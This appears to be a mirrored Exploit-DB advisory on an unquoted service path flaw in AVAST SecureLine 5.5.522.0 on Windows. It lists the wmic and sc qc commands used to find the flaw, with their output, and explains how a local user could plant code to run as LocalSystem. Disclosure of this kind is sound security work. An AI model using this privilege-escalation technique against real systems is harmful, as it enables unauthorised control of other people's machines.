AVAST SecureLine 5.5.522.0 – ‘SecureLine’ Unquoted Service Path

• Exploit Database
• 135 阅读

• 作者： Roberto Piña
  日期： 2020-03-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48249/
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  # Exploit Title: AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path # Discovery by: Roberto Piña # Discovery Date: 2020-03-24 # Vendor Homepage:https://www.avast.com/ # Software Link :https://www.avast.com/es-mx/download-thank-you.php?product=SLN&locale=es-mx # Tested Version: 5.5.522.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 8.1 Single Language x32 es   # Step to discover Unquoted Service Path:   C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | f indstr /i /v "C:\Windows\\" | findstr /i "Avast SecureLine" | findstr /i /v """ Avast SecureLine SecureLine C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe Auto   C:\>sc qc SecureLine [SC] QueryServiceConfig CORRECTO   NOMBRE_SERVICIO: SecureLine TIPO : 10WIN32_OWN_PROCESS TIPO_INICIO: 2 AUTO_START CONTROL_ERROR: 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe GRUPO_ORDEN_CARGA: ETIQUETA : 0 NOMBRE_MOSTRAR : Avast SecureLine DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem     # Exploit: # A successful attempt would require the local user to be able to insert their code in the system root path # undetected by the OS or other security applications where it could potentially be executed during # application startup or reboot. If successful, the local user's code would execute with the elevated # privileges of the application.